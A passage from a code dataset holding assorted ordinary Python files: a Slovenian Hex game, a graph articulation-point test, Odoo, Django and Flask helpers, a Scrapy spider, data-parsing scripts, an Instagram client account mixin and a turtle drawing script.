self.zgodovina.pop()\n return (self.plosca, self.na_potezi)\n\n def veljavne_poteze(self):\n \"\"\"Vrne seznam veljavnih potez.\"\"\"\n poteze = []\n for j in range(11):\n for i in range(11):\n if self.plosca[j][i] is PRAZNO:\n poteze.append((j, i))\n return poteze\n\n def najdi_istobarvne_sosede(self, p):\n '''Sprejme polje s koordinatami (stolpec, vrstica) in najde njegove\n sosede. Vrne par seznamov; v prvem so istobarvna sosednja polja, v drugem pa vsa sosednja polja.\n Koordinate potencialnih sosedov so:\n (stolpec, vrstica - 1),\n (stolpec, vrstica + 1),\n (stolpec + 1, vrstica),\n (stolpec + 1, vrstica - 1),\n (stolpec - 1, vrstica + 1),\n (stolpec - 1, vrstica)\n '''\n # Paziti moramo, da sosede iščemo znotraj plošče.\n (stolpec, vrstica) = p\n\n vsi_mozni_sosedi = [(stolpec, vrstica - 1),\n (stolpec, vrstica + 1),\n (stolpec + 1, vrstica),\n (stolpec + 1, vrstica - 1),\n (stolpec - 1, vrstica + 1),\n (stolpec - 1, vrstica)]\n\n mozni_sosedi_stolpec0 = [(stolpec, vrstica - 1),\n (stolpec, vrstica + 1),\n (stolpec + 1, vrstica),\n (stolpec + 1, vrstica - 1)]\n\n mozni_sosedi_stolpec10 = [(stolpec, vrstica - 1),\n (stolpec, vrstica + 1),\n (stolpec - 1, vrstica),\n (stolpec - 1, vrstica + 1)]\n\n mozni_sosedi_stolpec0_vrstica0 = [(stolpec, vrstica + 1),\n (stolpec + 1, vrstica)]\n\n mozni_sosedi_stolpec0_vrstica10 = [(stolpec + 1, vrstica),\n (stolpec + 1, vrstica - 1),\n (stolpec, vrstica - 1)]\n\n mozni_sosedi_vrstica0 = [(stolpec, vrstica + 1),\n (stolpec + 1, vrstica),\n (stolpec - 1, vrstica + 1),\n (stolpec - 1, vrstica)]\n\n mozni_sosedi_stolpec10_vrstica0 = [(stolpec, vrstica + 1),\n (stolpec - 1, vrstica)]\n\n mozni_sosedi_vrstica10 = [(stolpec, vrstica - 1),\n (stolpec + 1, vrstica),\n (stolpec + 1, vrstica - 1),\n (stolpec - 1, vrstica)]\n\n mozni_sosedi_stolpec10_vrstica10 = [(stolpec, vrstica - 1),\n (stolpec - 1, vrstica)]\n\n sosedi = []\n\n if 0 < stolpec < 10 and 0 < vrstica < 10:\n for mozni_sosed in vsi_mozni_sosedi:\n (mozni_sosed_stolpec, mozni_sosed_vrstica) = mozni_sosed\n if self.trenutna_plosca[mozni_sosed_stolpec][mozni_sosed_vrstica] == self.na_potezi:\n sosedi.append(mozni_sosed)\n elif stolpec == 0:\n if 0 < vrstica < 10:\n for mozni_sosed in mozni_sosedi_stolpec0:\n (mozni_sosed_stolpec, mozni_sosed_vrstica) = mozni_sosed\n if self.trenutna_plosca[mozni_sosed_stolpec][mozni_sosed_vrstica] == self.na_potezi:\n sosedi.append(mozni_sosed)\n elif vrstica == 0:\n if self.trenutna_plosca[stolpec + 1][vrstica] == self.na_potezi:\n sosedi.append((stolpec + 1, vrstica))\n elif vrstica == 10:\n for mozni_sosed in mozni_sosedi_stolpec0_vrstica10:\n (mozni_sosed_stolpec, mozni_sosed_vrstica) = mozni_sosed\n if self.trenutna_plosca[mozni_sosed_stolpec][mozni_sosed_vrstica] == self.na_potezi:\n sosedi.append(mozni_sosed)\n elif vrstica == 0 and stolpec != 10:\n for mozni_sosed in mozni_sosedi_vrstica0:\n (mozni_sosed_stolpec, mozni_sosed_vrstica) = mozni_sosed\n if self.trenutna_plosca[mozni_sosed_stolpec][mozni_sosed_vrstica] == self.na_potezi:\n sosedi.append(mozni_sosed)\n elif vrstica == 10 and stolpec != 10:\n for mozni_sosed in mozni_sosedi_vrstica10:\n (mozni_sosed_stolpec, mozni_sosed_vrstica) = mozni_sosed\n if self.trenutna_plosca[mozni_sosed_stolpec][mozni_sosed_vrstica] == self.na_potezi:\n sosedi.append(mozni_sosed)\n elif stolpec == 10 and vrstica == 0:\n for mozni_sosed in mozni_sosedi_stolpec10_vrstica0:\n (mozni_sosed_stolpec, mozni_sosed_vrstica) = mozni_sosed\n if self.trenutna_plosca[mozni_sosed_stolpec][mozni_sosed_vrstica] == self.na_potezi:\n sosedi.append(mozni_sosed)\n elif stolpec == 10 and vrstica == 10:\n for mozni_sosed in mozni_sosedi_stolpec10_vrstica10:\n (mozni_sosed_stolpec, mozni_sosed_vrstica) = mozni_sosed\n if self.trenutna_plosca[mozni_sosed_stolpec][mozni_sosed_vrstica] == self.na_potezi:\n sosedi.append(mozni_sosed)\n\n return sosedi\n\n def najdi_vse_sosede(self, p):\n (stolpec, vrstica) = p\n\n vsi_mozni_sosedi = [(stolpec, vrstica - 1),\n (stolpec, vrstica + 1),\n (stolpec + 1, vrstica),\n (stolpec + 1, vrstica - 1),\n (stolpec - 1, vrstica + 1),\n (stolpec - 1, vrstica)]\n\n mozni_sosedi_stolpec0 = [(stolpec, vrstica - 1),\n (stolpec, vrstica + 1),\n (stolpec + 1, vrstica),\n (stolpec + 1, vrstica - 1)]\n\n mozni_sosedi_stolpec10 = [(stolpec, vrstica - 1),\n (stolpec, vrstica + 1),\n (stolpec - 1, vrstica),\n (stolpec - 1, vrstica + 1)]\n\n mozni_sosedi_stolpec0_vrstica0 = [(stolpec, vrstica + 1),\n (stolpec + 1, vrstica)]\n\n mozni_sosedi_stolpec0_vrstica10 = [(stolpec + 1, vrstica),\n (stolpec + 1, vrstica - 1),\n (stolpec, vrstica - 1)]\n\n mozni_sosedi_vrstica0 = [(stolpec, vrstica + 1),\n (stolpec + 1, vrstica),\n (stolpec - 1, vrstica + 1),\n (stolpec - 1, vrstica)]\n\n mozni_sosedi_stolpec10_vrstica0 = [(stolpec, vrstica + 1),\n (stolpec - 1, vrstica)]\n\n mozni_sosedi_vrstica10 = [(stolpec, vrstica - 1),\n (stolpec + 1, vrstica),\n (stolpec + 1, vrstica - 1),\n (stolpec - 1, vrstica)]\n\n mozni_sosedi_stolpec10_vrstica10 = [(stolpec, vrstica - 1),\n (stolpec - 1, vrstica)]\n vsi_sosedi = []\n # Dodamo namišljeno polje (12, 12), ki predstavlja spodnji rob plošče\n if vrstica == 10:\n vsi_sosedi.append((12, 12))\n elif stolpec == 0:\n if vrstica == 0:\n for mozni_sosed in mozni_sosedi_stolpec0_vrstica0:\n vsi_sosedi.append(mozni_sosed)\n elif vrstica == 10:\n for mozni_sosed in mozni_sosedi_stolpec0_vrstica10:\n vsi_sosedi.append(mozni_sosed)\n else:\n for mozni_sosed in mozni_sosedi_stolpec0:\n vsi_sosedi.append(mozni_sosed)\n elif stolpec == 10:\n # Dodamo namišljeno polje (11, 11), ki predstavlja desni rob plošče\n vsi_sosedi.append((11, 11))\n if vrstica == 0:\n for mozni_sosed in mozni_sosedi_stolpec10_vrstica0:\n vsi_sosedi.append(mozni_sosed)\n elif vrstica == 10:\n for mozni_sosed in mozni_sosedi_stolpec10_vrstica10:\n vsi_sosedi.append(mozni_sosed)\n else:\n for mozni_sosed in mozni_sosedi_stolpec10:\n vsi_sosedi.append(mozni_sosed)\n else:\n # Še primer namišljenega polja (-1, -1), ki predstavlja levi rob plošče\n if p == (-1, -1):\n for v in range(11):\n vsi_sosedi.append((0, v))\n # Še primer namišljenega polja (-2, -2), ki predstavlja zgornji rob plošče\n if p == (-2, -2):\n for v in range(11):\n vsi_sosedi.append((v, 0))\n elif vrstica == 0:\n for mozni_sosed in mozni_sosedi_vrstica0:\n vsi_sosedi.append(mozni_sosed)\n elif vrstica == 10:\n for mozni_sosed in mozni_sosedi_vrstica10:\n vsi_sosedi.append(mozni_sosed)\n else:\n for mozni_sosed in vsi_mozni_sosedi:\n vsi_sosedi.append(mozni_sosed)\n return vsi_sosedi\n\n def povleci_potezo(self, p):\n \"\"\"Sprejme koordinate polja p, preveri, če je poteza veljavna, in izvede\n potezo.\"\"\"\n (stolpec, vrstica) = p\n if (self.plosca[stolpec][vrstica] != PRAZNO) or (self.na_potezi == None):\n return None\n else:\n # shrani stanje na plošči\n self.shrani_pozicijo()\n # izvede potezo\n self.plosca[stolpec][vrstica] = self.na_potezi\n # preveri, ali obstaja zmagovalna pot\n self.poisci_pot()\n if self.poisci_pot() == KONEC:\n self.zmagovalec = self.na_potezi\n return self.stanje_igre\n # igre ni konec, zamenjamo igralca na potezi\n self.na_potezi = nasprotnik(self.na_potezi)\n return self.stanje_igre\n\n def poisci_pot(self):\n \"\"\"Išče pot zahod-vzhod in vrne self.stanje_igre (KONEC ali NI_KONEC),\n Hex se vedno konča z zmagovalcem.\"\"\"\n\n self.pot = []\n\n # Funkciji poisci_pot() in najdi_sosede() delujeta simetrično\n # za oba igralca,\n # le matriko plošče je treba za rdečega transponirati.\n\n if self.na_potezi == IGRALEC_M:\n self.trenutna_plosca = self.plosca\n elif self.na_potezi == IGRALEC_R:\n self.trenutna_plosca = transponiraj(self.plosca)\n else:\n pass\n\n for vrstica in range(11):\n if self.trenutna_plosca[0][vrstica] == self.na_potezi:\n self.pot.append((0, vrstica))\n else:\n # polje (0, vrstica) je še prazno\n pass\n\n self.zgodovina_poti = []\n # če pot ni prazna, pomeni, da je možno, da je nekdo zmagal\n while self.pot != []:\n (zacetek_poti_stolpec, zacetek_poti_vrstica) = self.pot.pop(0)\n self.zgodovina_poti.append((zacetek_poti_stolpec, zacetek_poti_vrstica))\n if zacetek_poti_stolpec == 10:\n # smo v zadnjem stolpcu, igralec na potezi je zmagal\n self.stanje_igre = KONEC\n return self.stanje_igre\n else:\n sosedi = self.najdi_istobarvne_sosede((zacetek_poti_stolpec, zacetek_poti_vrstica))\n for sosed in sosedi:\n if sosed not in self.zgodovina_poti:\n self.pot.append(sosed)\n # če se pot izprazni, pomeni, da še nihče ni zmagal\n return self.stanje_igre\n","sub_path":"igra.py","file_name":"igra.py","file_ext":"py","file_size_in_byte":12768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"131712828","text":"# File: HopcroftTarjanTest.py\n\n\"\"\"\nThis program implements test of the Hopcroft-Tarjan algorithm for\nfinding articulation points in a graph.\n\"\"\"\n\nfrom graph import Graph\n\ndef HopcroftTarjan():\n \"\"\"Tests the Hopcroft-Tarjan algorithm for finding articulation points.\"\"\"\n g = Graph()\n while True:\n filename = input(\"Enter name of graph file: \")\n if filename == \"\":\n break\n if filename.find(\".\") == -1:\n filename += \".txt\"\n g.clear()\n g.load(filename) \n print(\"Articulation points:\")\n for node in findArticulationPoints(g):\n print(\" \" + node.getName())\n\ndef findArticulationPoints(g):\n \"\"\"Returns a list of the articulation points in the graph.\"\"\"\n nodes = g.getNodes()\n for node in nodes:\n node.visited = False\n node.parent = None\n cutpoints = []\n applyHopcroftTarjan(nodes[0], 0, cutpoints)\n return cutpoints\n\ndef applyHopcroftTarjan(start, depth, cutpoints):\n \"\"\"Recursively adds articulation points to the cutpoints list.\"\"\"\n start.visited = True\n start.depth = depth\n start.low = depth\n isCutPoint = False\n neighbors = start.getNeighbors()\n children = 0\n for node in neighbors:\n if not node.visited:\n node.parent = start\n applyHopcroftTarjan(node, depth + 1, cutpoints)\n children += 1\n if node.low >= start.depth:\n isCutPoint = True\n start.low = min(start.low, node.low)\n elif node != start.parent:\n start.low = min(start.low, node.depth)\n if start.parent is None:\n isCutPoint = children > 1\n if isCutPoint:\n cutpoints.append(start)\n\n# Startup code\n\nif __name__ == \"__main__\":\n HopcroftTarjan()\n","sub_path":"Graphs/HopcroftTarjan/HopcroftTarjan.py","file_name":"HopcroftTarjan.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"41875026","text":"# -*- coding: utf-8 -*-\nfrom odoo import models,api,fields\nfrom odoo.osv import expression\n\nclass AccountAccount(models.Model):\n _inherit = \"account.account\"\n \n @api.model\n def name_search(self, name, args=None, operator='ilike', limit=100):\n args = args or []\n domain = []\n ctx = dict(self._context or {})\n if ctx.get('account'):\n com = ctx.get('account')[0][1]\n company_id = self.env['account.invoice'].browse(com).company_id.id\n args.append(['company_id','=' ,company_id ])\n if name:\n domain = ['|', ('code', '=ilike', name + '%'), ('name', operator, name)]\n if operator in expression.NEGATIVE_TERM_OPERATORS:\n domain = ['&'] + domain\n accounts = self.search(domain + args, limit=limit)\n return accounts.name_get()","sub_path":"account_extended_ept/models/account_account.py","file_name":"account_account.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"43832553","text":"from django import forms\n\nfrom mark2cure.document.models import Document, Annotation\n\n\nclass DocumentForm(forms.ModelForm):\n class Meta:\n model = Document\n fields = ['document_id']\n\n\nclass AnnotationForm(forms.ModelForm):\n class Meta:\n model = Annotation\n fields = ['text', 'start', 'type']\n\n def clean_type(self):\n data = self.cleaned_data['type']\n if data.isdigit():\n data = Annotation.ANNOTATION_TYPE_CHOICE[int(data)]\n return data\n","sub_path":"mark2cure/document/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"471662278","text":"import db.Connection as Con\n\ndbControlConnection = Con.getConnection('db_control')\n\n# @description insert data log to \"data_logs\" table in \"db_control\" database\n# @return boolean\n# @author Thanh Luong (thanh.luong@ecepvn.org)\ndef insertDataLog(dataLog):\n name = dataLog.name\n description = dataLog.description\n\n mycursor = dbControlConnection.cursor()\n sql = \"INSERT INTO data_logs (name, description) VALUES (%s, %s)\"\n val = (name,description)\n try:\n mycursor.execute(sql, val)\n dbControlConnection.commit()\n except Exception:\n print(\"Inserting Data Log failed! \",description)\n return False\n return True","sub_path":"dao/DataLogDAO.py","file_name":"DataLogDAO.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"526597546","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n__author__ = \"Florian Thiery\"\n__copyright__ = \"MIT Licence 2021, Florian Thiery\"\n__credits__ = [\"Florian Thiery\"]\n__license__ = \"MIT\"\n__version__ = \"1.0\"\n__maintainer__ = \"Florian Thiery\"\n__email__ = \"mail@fthiery.de\"\n__status__ = \"1.0\"\n__update__ = \"2021-05-04\"\n\n# import dependencies\nimport uuid\nimport requests\nimport io\nimport pandas as pd\nimport os\nimport codecs\nimport datetime\nimport importlib\nimport sys\nimport xml.etree.ElementTree as ET\nimport pandas_read_xml as pdx\nimport json\nimport numpy as np\nimport hashlib\n\n# set UTF8 as default\n# -*- coding: utf-8 -*-\nimportlib.reload(sys)\n\n# read CSV [filename, inscription, CIIC]\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\ncsv1 = dir_path + \"\\\\\" + \"words.csv\"\ncsv2 = dir_path + \"\\\\\" + \"og_readings.csv\"\n\n# read csv file 1\ndata1 = pd.read_csv(\n csv1,\n encoding='utf-8',\n sep=',',\n usecols=['word', 'wikidata', 'type', 'translation', 'ref', 'variants', 'context', 'id']\n)\nprint(data1.info())\n# read csv file 1\ndata2 = pd.read_csv(\n csv2,\n encoding='utf-8',\n sep='|',\n usecols=['reading_id', 'insc', 'stone_id']\n)\nprint(data2.info())\n\n\nlines = []\nlines.append(\"stone_id|reading_id|word_id|word|type\\r\\n\")\nlauf = 0\n\n'''for index2, row2 in data2.iterrows():\n for index1, row1 in data1.iterrows():\n print(str(row2['reading_id']))\n print(str(row2['insc']))'''\n\nfor index2, row2 in data2.iterrows():\n lauf += 1\n print(lauf)\n for index1, row1 in data1.iterrows():\n variants = str(row1['variants'])\n variants = variants.replace(\"[\", \"\")\n variants = variants.replace(\"]\", \"\")\n variants_split = variants.split(\"|\")\n for i in variants_split:\n if str(i) in str(row2['insc']):\n stone_id = str(row2['stone_id'])\n reading_id = str(row2['reading_id'])\n word_id = str(row1['id'])\n word_label = str(row1['word'])\n if str(row1['type']) == \"Q67381377\":\n word_type = \"formula\"\n elif str(row1['type']) == \"Q67382150\":\n word_type = \"nomenclature\"\n elif str(row1['type']) == \"Q79401991\":\n word_type = \"name\"\n line = stone_id + \"|\" + reading_id + \"|\" + word_id + \"|\" + word_label + \"|\" + word_type + \"\\r\\n\"\n if line not in lines:\n lines.append(line)\n\n# write output file\nfile_out = dir_path + \"\\\\\" + \"words_readings.csv\"\nfile = codecs.open(file_out, \"w\", \"utf-8\")\nfor line in lines:\n file.write(line)\nfile.close()\n","sub_path":"data_raw/words/words_parse_readings.py","file_name":"words_parse_readings.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"172712636","text":"\nfrom scrapy.spiders import Spider\nfrom projects.zuishushenqi.zuishushenqi.items import XiaoShuoBestSourceItem\nimport json\nfrom pymongo.mongo_client import MongoClient\nimport urlparse\nfrom urllib import unquote,urlencode\n\n\nclass XiaoShuoBestSource(Spider):\n\n name = \"XiaoShuoBestSource\"\n allowed_domains = [\"zhuishushenqi.com\"]\n\n def setHeader(self,r):\n r.headers.setdefault(\"X-User-Agent\",\"ZhuiShuShenQi/3.68.1 (Android 5.0.2; HUAWEI HWPLK / HONOR PLK-UL00; )[preload=false;locale=zh_CN;clientidbase=android-huawei]\")\n r.headers.setdefault(\"X-Device-Id:\",\"8e446e0dfa188163\")\n return r\n\n def getUrlsFromMongo(self):\n connection = MongoClient(self.settings['MONGODB_URI'])\n database = connection['XiaoShuoList']\n collection = database['items']\n items = collection.find({},{'id':1,'_id':0})\n\n urls = []\n for item in items:\n urls.append('http://api.zhuishushenqi.com/btoc?view=summary&book=' + item[u'id'])\n\n return urls\n\n\n def start_requests(self):\n urls = self.getUrlsFromMongo()\n for url in urls:\n r = self.make_requests_from_url(url)\n yield self.setHeader(r)\n\n def parse(self, response):\n item = XiaoShuoBestSourceItem()\n bodyContent = json.loads(response.body)\n\n for jsonBody in bodyContent:\n item['url'] = response._get_url()\n\n item['id'] = jsonBody['_id'] if jsonBody.has_key('_id') else ''\n item['chaptersCount'] = jsonBody['chaptersCount'] if jsonBody.has_key('chaptersCount') else 0\n item['host'] = jsonBody['host'] if jsonBody.has_key('host') else ''\n item['isCharge'] = jsonBody['isCharge'] if jsonBody.has_key('isCharge') else False\n item['lastChapter'] = jsonBody['lastChapter'] if jsonBody.has_key('lastChapter') else ''\n item['link'] = jsonBody['link'] if jsonBody.has_key('link') else ''\n item['name'] = jsonBody['name'] if jsonBody.has_key('name') else ''\n item['source'] = jsonBody['source'] if jsonBody.has_key('source') else ''\n item['starting'] = jsonBody['starting'] if jsonBody.has_key('starting') else False\n item['updated'] = jsonBody['updated'] if jsonBody.has_key('updated') else ''\n\n yield item\n","sub_path":"source/projects/zuishushenqi/zuishushenqi/spiders/XiaoShuoBestSource.py","file_name":"XiaoShuoBestSource.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"436535928","text":"# Default Imports\nfrom greyatomlib.pandas_project.q01_read_csv_data_to_df.build import read_csv_data_to_df\nfrom pandas import Series\n# You have been given the dataset already in 'ipl_df'.\nipl_df = read_csv_data_to_df(\"./data/ipl_dataset.csv\")\n\n# Solution\ndef get_run_counts():\n a = ipl_df['runs']\n b = a.unique()\n runs_counts = {0:0,1:0,2:0,3:0,4:0,5:0,6:0}\n\n for i,j in enumerate(a):\n runs_counts[j] += 1\n result = Series(runs_counts)\n return result\n","sub_path":"q03_get_run_counts/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"42661973","text":"from app.api.auth.model import Authentication\nfrom flask import request\nfrom functools import wraps\n\n\ndef check_client_token(f):\n \"\"\"\n Returns valid if the client token is present, else 401s\n \"\"\"\n @wraps(f)\n def decorated_function(*args, **kwargs):\n auth = Authentication()\n bearer_token = request.headers.get('Authorization')\n if bearer_token is None:\n bearer_token = request.form['client_token']\n tokens = bearer_token.split(' ')\n if tokens[0] == 'Bearer':\n check = auth.get_client_token(tokens[1])\n if check is None:\n return 'You are not authorized to use this API.', 401\n return f(*args, **kwargs)\n return decorated_function\n\n\ndef check_access_token(f):\n \"\"\"\n Returns valid if the access token is present and correct, else 401s\n \"\"\"\n @wraps(f)\n def decorated_function(*args, **kwargs):\n auth = Authentication()\n bearer_token = request.headers.get('Authorization')\n token = bearer_token.split(' ')\n if token[0] == 'Bearer':\n check = auth.get_token(token[1])\n if check is None:\n return 'The email or password are incorrect.', 401\n return f(*args, **kwargs)\n return decorated_function\n","sub_path":"app/lib/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"190679314","text":"import argparse\nimport numpy as np\n#run: python3 encode.py -k 3\nfrom glob import glob\nfrom skimage.io import imread, imsave\nfrom skimage.color import rgba2rgb, rgb2gray\nimport math\nimport argparse\nparser = argparse.ArgumentParser(description='number of values')\nparser.add_argument('-k', '--k', type=int, metavar='', help='number of values')\nargs = parser.parse_args()\n\ndef encode(k):\n All=[]\n files = glob(\"*.png\") #find all files.png\n for afile in files:\n im = imread(afile) #reading single file = im\n # M=np.array(im) # imread operates on np.array\n #im.show()\n #print(im.shape)\n if im.shape[2]==4:\n rgb=rgba2rgb(im) #4d into 3d\n else:\n rgb=im \n \n All.append(rgb) #list of all images\n many=np.stack((All), axis=-1) #joining them into one,axis=-1 in this case is the same as axis=3 - size, how many\n #print(many.shape)\n \n numberofpic=len(All) \n polynom_deg = k\n #poly_coefs=[]\n poly_coefs=np.zeros((many.shape[0],many.shape[1],many.shape[2],polynom_deg+1))\n #print(many.shape)\n #print(poly_coefs.shape)\n x=np.arange(numberofpic) #e.g 4 3x3 matrices joined together, it takes left 'top', this top is 4 long\n\n for i in range(many.shape[0]): #e.g 100\n for j in range(many.shape[1]):#e.g 189\n for k in range(many.shape[2]):# = 3\n y = many[i,j,k,:] \n #print('y',y)\n #poly_coefs.append(np.polyfit(x, y, polynom_deg))\n poly_coefs[i,j,k,:]=np.polyfit(x, y, polynom_deg)\n if np.any(np.isnan(poly_coefs)) == False:\n print(\"no NaN found\")\n else:\n print(\"NaN found, some pixels will be lost\")\n if np.any(np.isinf(poly_coefs)) == False:\n print(\"no inf found\")\n else:\n print(\"inf found, some pixels will be lost\") \n \n np.save(\"poly_coefs.npy\",poly_coefs)\n np.save(\"many.npy\",many)\n\n \n#encode(35)\nif (__name__ == \"__main__\"):\n encode(args.k)\n","sub_path":"encode.py","file_name":"encode.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"563761977","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('accounts', '0003_profile_custom_anonymized_strings'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='profile',\n name='days_to_publish_inforequest',\n field=models.IntegerField(default=60, help_text='User defined number of days after which inforequest can be marked as published, after closing inforequest.'),\n preserve_default=True,\n ),\n ]\n","sub_path":"chcemvediet/apps/accounts/migrations/0004_profile_days_to_publish_inforequest.py","file_name":"0004_profile_days_to_publish_inforequest.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"95743591","text":"# Exercise 6: Exercise about String and text\n\ntypes_of_people = 10 # Initializing a varable.\nx = f\"There are {types_of_people} types of people.\" #intialization of another variable.\n\nbinary = \"binary\" # Initialization of another variable.\ndo_not = \"don't\" # Initialization.\ny = f\"Those who know {binary} and those who {do_not}.\" # Initialization.\n\nprint(x) # Printing x with 'types_of_people'\nprint(y) # Printing y with 'binary' and 'do_not'\n\nprint(f\"I said: {x}\") # Another way of writing x.\nprint(f\"I also said: '{y}'\") # Another way of writing y.\n\nhilarious = False # Assigning hilarious to boolean False\n\njoke_evaluation = \"Isn't that joke so funny?! {}\" # assigning joke_evaluation with a formatter\nprint(joke_evaluation.format(hilarious)) # Printing joke_eavaluation with value of formatter\n\nw = \"This is a left side of....\" # Assigning string variable\ne = \"a string with a right side.\" # Assigning another string variable\n\nprint(w+e) #Printing 2 strings with the concatination\n","sub_path":"Ex-6/ex6.py","file_name":"ex6.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"328594078","text":"from json.decoder import JSONDecodeError\nfrom pathlib import Path\nfrom typing import Dict\n\nimport requests\n\nfrom instagrapi.exceptions import ClientError, ClientLoginRequired\nfrom instagrapi.extractors import extract_account, extract_user_short\nfrom instagrapi.types import Account, UserShort\nfrom instagrapi.utils import gen_token\n\n\nclass AccountMixin:\n \"\"\"\n Helper class to manage your account\n \"\"\"\n\n def reset_password(self, username: str) -> Dict:\n \"\"\"\n Reset your password\n\n Returns\n -------\n Dict\n Jsonified response from Instagram\n \"\"\"\n response = requests.post(\n \"https://www.instagram.com/accounts/account_recovery_send_ajax/\",\n data={\"email_or_username\": username, \"recaptcha_challenge_field\": \"\"},\n headers={\n \"x-requested-with\": \"XMLHttpRequest\",\n \"x-csrftoken\": gen_token(),\n \"Connection\": \"Keep-Alive\",\n \"Accept\": \"*/*\",\n \"Accept-Encoding\": \"gzip,deflate\",\n \"Accept-Language\": \"en-US\",\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15\",\n },\n proxies=self.public.proxies,\n )\n try:\n return response.json()\n except JSONDecodeError as e:\n if \"/login/\" in response.url:\n raise ClientLoginRequired(e, response=response)\n raise ClientError(e, response=response)\n\n def account_info(self) -> Account:\n \"\"\"\n Fetch your account info\n\n Returns\n -------\n Account\n An object of Account class\n \"\"\"\n result = self.private_request(\"accounts/current_user/?edit=true\")\n return extract_account(result[\"user\"])\n\n def account_edit(self, **data: Dict) -> Account:\n \"\"\"\n Edit your profile (authorized account)\n\n Parameters\n ----------\n data: Dict\n Fields you want to edit in your account as key and value pairs\n\n Returns\n -------\n Account\n An object of Account class\n \"\"\"\n fields = (\n \"external_url\",\n \"phone_number\",\n \"username\",\n \"full_name\",\n \"biography\",\n \"email\",\n )\n data = {key: val for key, val in data.items() if key in fields}\n if \"email\" not in data and \"phone_number\" not in data:\n # Instagram Error: You need an email or confirmed phone number.\n user_data = self.account_info().dict()\n user_data = {field: user_data[field] for field in fields}\n data = dict(user_data, **data)\n # Instagram original field-name for full user name is \"first_name\"\n data[\"first_name\"] = data.pop(\"full_name\")\n result = self.private_request(\n \"accounts/edit_profile/\", self.with_default_data(data)\n )\n return extract_account(result[\"user\"])\n\n def account_change_picture(self, path: Path) -> UserShort:\n \"\"\"\n Change photo for your profile (authorized account)\n\n Parameters\n ----------\n path: Path\n Path to the image you want to update as your profile picture\n\n Returns\n -------\n UserShort\n An object of UserShort class\n \"\"\"\n upload_id, _, _ = self.photo_rupload(Path(path))\n result = self.private_request(\n \"accounts/change_profile_picture/\",\n self.with_default_data({\"use_fbuploader\": True, \"upload_id\": upload_id}),\n )\n return extract_user_short(result[\"user\"])\n\n def news_inbox_v1(self, mark_as_seen: bool = False) -> dict:\n \"\"\"Get old and new stories as is\n\n Parameters\n ----------\n mark_as_seen: bool\n Mark as seen or not\n\n Returns\n -------\n dict\n \"\"\"\n return self.private_request(\n \"news/inbox/\",\n params={'mark_as_seen': mark_as_seen}\n )\n","sub_path":"instagrapi/mixins/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":4099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"109280055","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 6 23:55:41 2020\n\n@author: Dequan\n\"\"\"\n\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun May 31 09:42:53 2020\n\n@author: Dequan\n\"\"\"\n\n\n\"\"\"\nThis is a comment\n\"\"\"\nfrom math import sin, pi, cos # 正弦函数和圆周率\nimport turtle\nimport numpy as np\nimport os \nimport time \n\ndef text():\n # answer \n content = '北京欢迎你为你开天辟地…………'\n count = 0\n while count<=10:\n # 清理屏幕上的输出\n# os.system('cls') # os.system('clear') # for .ipynb format \n print(content)\n # 休眠200毫秒\n time.sleep(0.2)\n time.sleep(0.2)\n content = content[1:] + content[0]\n count+=1\n # your code \n\ndef ploygon(n):\n t = turtle.Pen() # 获得画笔\n t.pensize(2) \n d = 400\n for _ in range(8):\n for i in range(n):\n t.forward(d*sin(pi/n))\n t.left(360/n)\n \n# print(d)\n # t.left(360/n)\n x =0.5\n t.forward(x*d*sin(pi/n))\n t.left(np.arctan(x/(1-x))*180/pi)\n d = d * np.sqrt(x**2+(1-x)**2)\n \n t.hideturtle() # 隐藏光标\n ts = turtle.getscreen() # 保存图片\n ts.getcanvas().postscript(file=\"img2.eps\")\n turtle.exitonclick() # 单击画布退出\n\n#--------------------------------------------\ndef main():\n ploygon(4)\n\n#--------------------------------------------\nN_test = 4\ndef test_var(N_test):\n global out \n out = N_test**2 \n return out\n\nif __name__ == '__main__':\n# print(test_var(4))\n# print(out)\n from example import save_fig,run_linear,run_poly,run_sgd\n 